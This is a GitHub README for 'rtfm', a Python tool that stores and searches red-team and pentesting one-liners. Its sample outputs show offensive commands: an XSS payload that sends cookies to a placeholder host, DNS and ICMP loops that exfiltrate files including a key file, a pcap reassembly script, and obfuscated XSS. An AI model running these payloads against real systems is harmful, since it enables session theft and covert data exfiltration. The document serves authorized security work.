leostat / rtfm

A database of common, interesting or useful commands, in one handy referable form https://necurity.co.uk/osprog/2017-02…

82 commits 2 branches 0 releases 4 contributors GPL-3.0

Branch: master New pull request Find file Clone or download

leostat Merge pull request #81 from leostat/add-license-1 … Latest commit 95aa66e on Sep 3, 2017

deb	Added checking for updates and errata, probabley need to clean up the…	11 months ago
debian	Added checking for updates and errata, probabley need to clean up the…	11 months ago

updates	Added more lines to the DB, fixed some typos in older commits	11 months ago
.gitignore	Create .gitignore to ignore snips.db	11 months ago
LICENSE	Create LICENSE	8 months ago
README.md	Added roadmap to 1.0	11 months ago
clean.sql	Added Author field	a year ago
rtfm.py	Moved to creaing the DB as part of program initiation	8 months ago

README.md

What is it?

RTFM is a great and useful book, BUT a bit pointless when you have to transcribe it, so this little program will aim to be the spiritual successor to it.

I would recommend picking up a copy of the book from Amazon, it is pretty handy to have!

Quick Start

```
$ chmod +x rtfm.py
$ ./rtfm.py -u
$ ./rtfm.py -c 'rtfm'
```

Usage

```
$ rtfm.py -h
Usage: rtfm.py [OPTIONS]

For when you just cant remember the syntax,  you should just RTFM

Options:
  --version             show program's version number and exit
  -h, --help            show this help message and exit
  --delete=DELETE       Delete specified ID
  -t TAG, --tag=TAG     Specify one or more tags to look for (a, b, c)
  -c CMD, --cmd=CMD     Specify a command to search (ls)
  -R REMARK, --remark=REMARK
                        Search the comments feilds
  -r REFER, --reference=REFER
                        Search for the reference [reference]
  -a AUTHOR, --author=AUTHOR
                        Search for author
  -A DATE, --added-on=DATE
                        Search by date, useful for when you want to commit back!
  -p PRINTER, --print=PRINTER
                        Print Types : P(retty) p(astable) w(iki) h(tml) d(ump)
  -i INSERT, --insert=INSERT
                        Insert c(ommand) | t(ags) | r(eferances) |
                        (E)verything
  -D DUMP, --dump=DUMP  Just Dump infomration about
                        t(ags)|c(commands)|r(eferances)a(ll)
  -d, --debug           Display verbose processing details (default: False)
  -u, --update          Check for updates (default: false)
  -v                    Shows the current version number and the current DB
                        hash and exits
```

```
Example: rtfm.py -c rtfm -t linux -R help -r git -pP -d
```

Its pretty much a simple search program, nothing to fancy, examples include:

Searching the DB

Searching the DB is handled through the following switches: t, c, R, r, a and, A:

-c is search for a command. Use this when you know what command you want to look for, but can't quite remember the syntax. For example, if you want to quickly look up the syntax for a common sqlmap command. Useful for jumping straight to collections of common flags or one liners:

```
19:54:root:rtfm: ./rtfm.py -pP -c 'sqlmap'
+----------------+-------------------------------------------------------------------------------------
| Added By @yght | Cmd ID : 162
+----------------+-------------------------------------------------------------------------------------
| Command        | /opt/sqlmap/sqlmap.py --exclude-sysdbs --eta --is-dba  --current-user --current-db --hos
|                | -r sql1.txt
|                |
| Comment        | SQLmap generic command
| Tags           | sql injection
| Date added     | 2017-06-19
| References     | https://github.com/sqlmapproject/sqlmap/wiki/Usage
+----------------+-------------------------------------------------------------------------------------
```

-t is search for a tag, tags are groups of similar commands, for example, XSS payloads. Use this when wanting a more generic search such as around flaws or around generic Windows commands:

```
19:54:root:rtfm: ./rtfm.py -pP -t xss
+----------------+-------------------------------------------------------------------------------------+
| Added By Innes | Cmd ID : 35                                                                         |
+----------------+-------------------------------------------------------------------------------------+
| Command        | <script>i = new XMLHttpRequest(); i.open('GET', '[dest]' + document.cookie, true); |
|                | i.send();</script>                                                                  |
|                |                                                                                     |
| Comment        | Grab the cookie                                                                     |
| Tags           | web application                                                                     |
|                | XSS                                                                                 |
|                | cookies                                                                             |
| Date added     | 2017-06-19                                                                          |
| References     | https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet                      |
|                | https://excess-xss.com/                                                             |
+----------------+-------------------------------------------------------------------------------------+
<snip>
```

All the Tags known about can be shown through -Dt, Currently a few typos that will be fixed in version 0.9.9:

```
 $ rtfm.py -Dt
 | linux |  | bash |  | text manipulation |  | cisco |  | networking |  | loop |  | pivoting |  | files |
```

The next one you will want is -R, this is for searching for a 'remark' (aka comment, didn't want two c flags), this is to search the comments field and is more along the lines of searching for techniques or generic terms such as 'X11' or 'exfil':

```
+----------------+-------------------------------------------------------------------------------------+
| Added By Innes | Cmd ID : 384                                                                        |
+----------------+-------------------------------------------------------------------------------------+
| Command        | for line in `base64 -w 62 [file]`; do host $line.[hostname]; done                   |
|                |                                                                                     |
```

```
| Comment        | exfil file through DNS, may want to encrypt, also assuming you have a short domain |
| Tags           | linux                                                                              |
|                | bash                                                                               |
|                | loop                                                                               |
|                | interesting                                                                        |
| Date added     | 2017-06-19                                                                         |
| References     | https://www.amazon.co.uk/Rtfm-Red-Team-Field-Manual/dp/1494295504                  |
+----------------+------------------------------------------------------------------------------------+
+----------------+-------------------------------------------------------------------------------------
| Added By Innes | Cmd ID : 386
+----------------+-------------------------------------------------------------------------------------
| Command        | ping -p 1101010101010101010101010101010199 -c 1 -M do 127.0.0.1 -s 32; for line in `base64
|                | sslfile.key | xxd -p -c 14`; do line2=`echo "11 $line 99" |tr -d ' '`; ping -p $line2 -c
|                | 127.0.0.1 -s 32; done; ping -p 1110101010101010101010101010101099 -c 1 -M do 127.0.0.1 -s
|                |
| Comment        | Exfil over icmp
| Tags           | linux
|                | networking
|                | loop
|                | interesting
| Date added     | 2017-06-19
| References     | https://www.amazon.co.uk/Rtfm-Red-Team-Field-Manual/dp/1494295504
+----------------+-------------------------------------------------------------------------------------
+----------------+-------------------------------------------------------------------------------------
| Added By Innes | Cmd ID : 496
+----------------+-------------------------------------------------------------------------------------
| Command        | for line in $(tshark -r [pcap] -T fields -e data  | uniq | grep -v
|                | "..................................................." | sed s/.*11/11/g | grep "11.*9
|                | sed s/11// | sed s/99$// | tr -d '\n' | sed s/0101010101010101010101010101/'\n'/g |sed
|                | s/0101010101010101010101010101//g); do echo $line | xxd -r  -p | base64 -d;echo
|                | ++++++++++++++++++; done
|                |
| Comment        | Convert exfil ICMP back to files from pcap
| Tags           | linux
|                | networking
```

```
|                | loop
| Date added     | 2017-06-19
| References     | https://ask.wireshark.org/questions/15374/dump-raw-packet-data-field-only
+----------------+-----------------------------------------------------------------------------
```

These next two are aimed for when you wish to commit back, and wouldn't be normally used:

-a is to search by author, for example, show things you have added: `./rtfm.py -a innes`

-A is 'Added on date', this can be one of yyyy-mm-dd, or now/today, most usefully for dumping out commands you have added to commit back to the git!

```
rtfm.py -A now
++++++++++++++++++++++++++++++
Command ID : 469
Command    : b

Comment    : b
Tags       : b
Date Added : 2017-05-14
Added By   : b
References
_________
b
++++++++++++++++++++++++++++++

rtfm.py -A 2017-05-14
++++++++++++++++++++++++++++++
Command ID : 469
Command    : b
```

```
Comment    : b
Tags       : b
Date Added : 2017-05-14
Added By   : b
References
__________
b
++++++++++++++++++++++++++++++
```

All of these search flags can be combinded to create a very specfic search should you wish, shown here with debugging on:

```
rtfm.py -c rtfm -a innes -t linux -R help -A 2017-05-10 -d
[DEBUG]: Options Set: {'insert': None, 'remark': 'help', 'printer': None, 'dump': None, 'author': 'innes',
[DEBUG]: S: SELECT c.cmdid, c.cmd, c.cmnt, c.date, c.author, group_concat(DISTINCT tc.tag), group_concat(DI
[DEBUG]: W: ['%rtfm%', '%help%', '%innes%', '2017-05-10', '%linux%']
[DEBUG]: This Returned : [(1, 'rtfm.py -c [command] -t [tag],[tag] -C [comment] -p P', 'Helpception, search
++++++++++++++++++++++++++++++
Command ID : 1
Command    : rtfm.py -c [command] -t [tag],[tag] -C [comment] -p P

Comment    : Helpception, search for a command with two tags and a comment
Tags       : linux
Date Added : 2017-05-10
Added By   : Innes
References
__________
https://github.com/leostat/rtfm
https://necurity.co.uk/osprog/2017-02-27-RTFM-Pythonized/index.html
++++++++++++++++++++++++++++++
```

Updating your database

RTFM implements a simple text file format to pull in updates to the database, these are shared VIA git, and implement a simple sha check to make sure they have not been corrupt during download. The updates called by the command are 'safe' in the form they won't write over your DB, should you git pull, it probably will overwrite your DB. If you are git cloning, you can move your database to '/etc/rtfm/snips.db' to protect your database file.

```
./rtfm.py -u
[WARNING]: No DB, please run rtfm -u
[OK]: This may appear to hang. Run with debug to get more info
[OK]: Program version information:
[OK]: Your up to date :
0.9.8
 Added A way of fixing typo's in the database
 Added program version checking
 Couple of code fixes
DATE
1
++++++++++++++++++++++++++
[OK]: Added Rows :1
[OK]: Added a new tag and a tagmap
[OK]: Added a new Ref and a refmap
[OK]: Added a new Ref and a refmap
[OK]: Added Rows :1
[OK]: Added tags
[OK]: Added a new tag and a tagmap
[OK]: Added a new tag and a tagmap
[OK]: Added a new Ref and a refmap
[OK]: Added a new Ref and a refmap
[OK]: Added Refs
[OK]: Hopefully added lots of new commands
[OK]: Parsed Line of update
```

```
[OK]: Hopefully fixed lots of commands
[OK]: Update complete
```

The update process also now drags in errata for the local DB allowing me a centralised way of neatly fixing the typos which have filtered into the DB. These are set through https://raw.githubusercontent.com/leostat/rtfm/master/updates/errata.txt. This allows things to be 'fixed' without needing to remove anything from the database.

Inserting and committing back

Like all good cheatsheets, it is possible to add your own content to the database. This is managed through the -i segment of the program. When adding commands you must add them with comments, references, and tags. Else at the moment, they will not be returned from the DB. Minor bug really. This is done by adding all commands, along with their tags and references at once through using -iE, Insert everything:

```
9:41:root:rtfm: ./rtfm.py -iE
Enter your command    : セ=ア[ミ=ウ],ハ=++ミ+ウ,へ=ホ[ミ+ハ],ア[へ+=ホ[ウ]+(ホ.ホ+ホ)[ウ]+ネ[ハ]+ヌ+セ+ア[ミ]+へ+ヌ+
Enter you comment     : Script alert(1) using Katakana
Enter Author          : Innes
Enter a tag (blank for end) : xss
Enter a tag (blank for end) : web application
Enter a tag (blank for end) :
Enter a reference (blank for end) : https://github.com/aemkei/katakana.js
Enter a reference (blank for end) :
[OK]: Added Rows :1
[OK]: Added tags
[OK]: Added tags
[OK]: Added a new Ref and a refmap
Enter your command    : ^C
```

```
Cancelled.
```

After committing to your local database I would be extremely grateful if you would open a pull request so that I am able to continue to add to the database. This is really easy, and done through the use of an output format 'pd' (print dump). The easiest way is by searching for commands added by yourself on today, then opening a git pull request, for the above example:

```
19:43:root:rtfm: ./rtfm.py -a Innes -A now -pd
セ=ア[ミ=ウ],ハ=++ミ+ウ,へ=ホ[ミ+ハ],ア[へ+=ホ[ウ]+(ホ.ホ+ホ)[ウ]+ネ[ハ]+ヌ+セ+ア[ミ]+へ+ヌ+ホ[ウ]+セ][へ](ネ[ウ]+ネ[ミ
Script alert(1) using Katakana
Innes
EOC
web application
XSS
EOT
https://github.com/aemkei/katakana.js
EOR
```

The above is the correct format for the updates, so you can add a file and I can either merge into one large update file, or keep it as a separate file!

Output Formats

There is also a number of output options, such as copy any paste, pretty, wiki and update:

```
23:15:root:snips: ./rtfm.py -c rtfm -p p
++++++++++++++++++++++++++++
RTFM

helpception
++++++++++++++++++++++++++++

23:15:root:snips: ./rtfm.py -c rtfm -p P
+-------------+-------------+
| Command ID  | 0           |
+-------------+-------------+
| Command     | RTFM        |
|             |             |
| Comment     | helpception |
| Tags        | Linux       |
| Date added  | 2017-01-30  |
+-------------+-------------+

23:15:root:snips: ./rtfm.py -c rtfm -p w
= Helpception, search for a command with two tags and a comment =
 rtfm.py -c [command] -t [tag],[tag] -C [comment] -p P
linux
https://github.com/leostat/rtfm
```

The update format is to make it easy to open pull requests for new commands!

```
rtfm.py -pd -c rtfm
rtfm.py -c [command] -t [tag],[tag] -C [comment] -p P
Helpception, search for a command with two tags and a comment
Innes
EOC
linux
```

```
EOT
https://github.com/leostat/rtfm
https://necurity.co.uk/osprog/2017-02-27-RTFM-Pythonized/index.html
EOR
```

Older way

Should you wish to add say lots of commands at once, then worry about tags and references later you could do call RTFM with '-i c', using an empty response to stop processing commands:

```
$ rtfm.py -i c
Enter your command    : Your Command
Enter you comment     : Your Comment
Enter Author          : Your Name
Enter your command    : Command Two
Enter you comment     : Comment Two
Enter Author          : Your Name
Enter your command    :
Enter you comment     :
Enter Author          :
[OK]: Added Rows : 2
[OK]: New Top ID : 491 | Number of CMD's Added : 2
```

Next, add the required tags into the inserted with either '-i t', which adds tags to a single command, or '-i ta' which adds tags to all commands missing tags:

```
$ rtfm.py -i t
What CMD are we adding tags too? : 491
Enter a tag (blank for none) : Test
Enter a tag (blank for none) : Second Tag
```

```
Enter a tag (blank for none) :
[OK]: Added tags
[OK]: Added a new tag and a tagmap
```

Similarly , you now have to add referances to the commands you have just added, '-i r',

```
$ rtfm.py -i r
What CmdID are we adding refs to? : 491
Enter a reference (blank for non) : http://bing.com
Enter a reference (blank for non) :
[OK]: Added a new Ref and a refmap
```

There is also a '-i ta' which adds tags to all commands which are missing them, this was used for the DB seeding more than anything!

```
$ rtfm: ./rtfm.py -i ta
[OK]: This tags everything without tags,  mainly for DB init
[OK]: Enter blank line to commit changes
[WARNING]: Number left :22
[OK]: Command ID : 467
[OK]:         Command    : Test Command
[OK]:         Comment    : My comment
[OK]: v These are known tags
 | linux |  | bash |  | text manipulation |  | cisco |  | networking |  | loop |  | pivoting |  | files |
 == == ONE TAG A LINE == ==

Enter a tag (blank for non) :
```

Deleting content

This is simple enough, 'tis just using: `rtfm.py --delete 1`

Debugging

Throughout the entire program, I have tried to add 'debug' calls '-d', these show you what the SQL is doing, what is being passed around.

Version 0.9.9 TODO

- Central way of adding, removing , tags
- Python three compat (See push)
- Fix the darn typos in the python program

Version 1.0.0 TODO

- Add a template system
- Add a spawn shell system

Version 2

- Coming way in the future
- Better text support
- nicer updating

- Python 3

The TODO list

- The 'important' functionality is present, but still lots of work to do
- Changes are happening on the DB, which means it may 'break' from time to time, just do a git pull to fix

Fixes:

- Probably should use prepared statements: local so don't care
- Check for dupe tags
- Central tag updates

Pipeline:

- Template engine(autofill [user] : A user = innes, pass = password, attacker = 1.1.1.1, victim = 2.2.2.2
- Make code more sane and betterize the layout

Future:

- Cool Thing mode
- Fix the typos

Credits

The people that deserve the credits will be in the reference table of the DB. They are the ones doing the work!

Thanks

Thanks in no particular order :) :

```
@VC : Fixing many a bug!
@Rezkon : Suggesting new features and making the layout more sane
@David : Being the beta tester and finding all the bugs!
@Matthew S : Berating me into making the DB so much better and putting up with the n00b db questions
@ECSC :  Allowing me to publish! Go check them out : https://ecsc.co.uk
@Fabien : 'Just run FSCK in dry run mode' . . . ;D
```